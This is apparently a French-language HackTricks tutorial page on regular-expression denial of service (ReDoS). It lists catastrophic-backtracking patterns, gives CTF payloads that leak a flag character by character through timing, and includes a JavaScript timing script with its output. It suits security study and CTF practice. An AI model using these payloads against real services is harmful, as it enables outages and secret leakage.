Regular expression Denial of Service - ReDoS

Déni de service par expression régulière - ReDoS

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Déni de service par expression régulière (ReDoS)

Un Déni de service par expression régulière (ReDoS) se produit lorsqu'une personne exploite les faiblesses de fonctionnement des expressions régulières (une méthode de recherche et de correspondance de motifs dans du texte). Parfois, lors de l'utilisation d'expressions régulières, elles peuvent devenir très lentes, surtout si le morceau de texte avec lequel elles travaillent devient plus grand. Cette lenteur peut devenir si importante qu'elle augmente très rapidement même avec de petites augmentations de la taille du texte. Les attaquants peuvent utiliser ce problème pour faire en sorte qu'un programme utilisant des expressions régulières cesse de fonctionner correctement pendant longtemps.

L'algorithme naïf de regex problématique

Consultez les détails sur https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Regex malveillantes

Un motif d'expression régulière malveillant est celui qui peut rester bloqué sur une entrée fabriquée provoquant un DoS. Les motifs de regex malveillants contiennent généralement des regroupements avec répétition et répétition ou alternance avec chevauchement à l'intérieur du groupe répété. Quelques exemples de motifs malveillants incluent :

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} pour x > 10

Tous ceux-ci sont vulnérables à l'entrée aaaaaaaaaaaaaaaaaaaaaaaa!.

Charges utiles ReDoS

Exfiltration de chaîne via ReDoS

Dans un CTF (ou une prime de bug), peut-être que vous contrôlez l'expression régulière avec laquelle une information sensible (le drapeau) est mise en correspondance. Ensuite, il peut être utile de faire geler la page (délai d'attente ou temps de traitement plus long) si une Regex correspond et pas si elle ne le fait pas. De cette façon, vous pourrez exfiltrer la chaîne caractère par caractère :

  • Dans ce post vous pouvez trouver cette règle ReDoS : ^(?=<flag>)((.*)*)*salt$

  • Exemple : ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • Dans ce writeup vous pouvez trouver celle-ci : <flag>(((((((.*)*)*)*)*)*)*)!

  • Dans ce writeup il a utilisé : ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

Contrôle de l'entrée et de l'expression régulière ReDoS

Les exemples suivants sont des exemples de ReDoS où vous contrôlez à la fois l'entrée et la regex :

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Outils

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour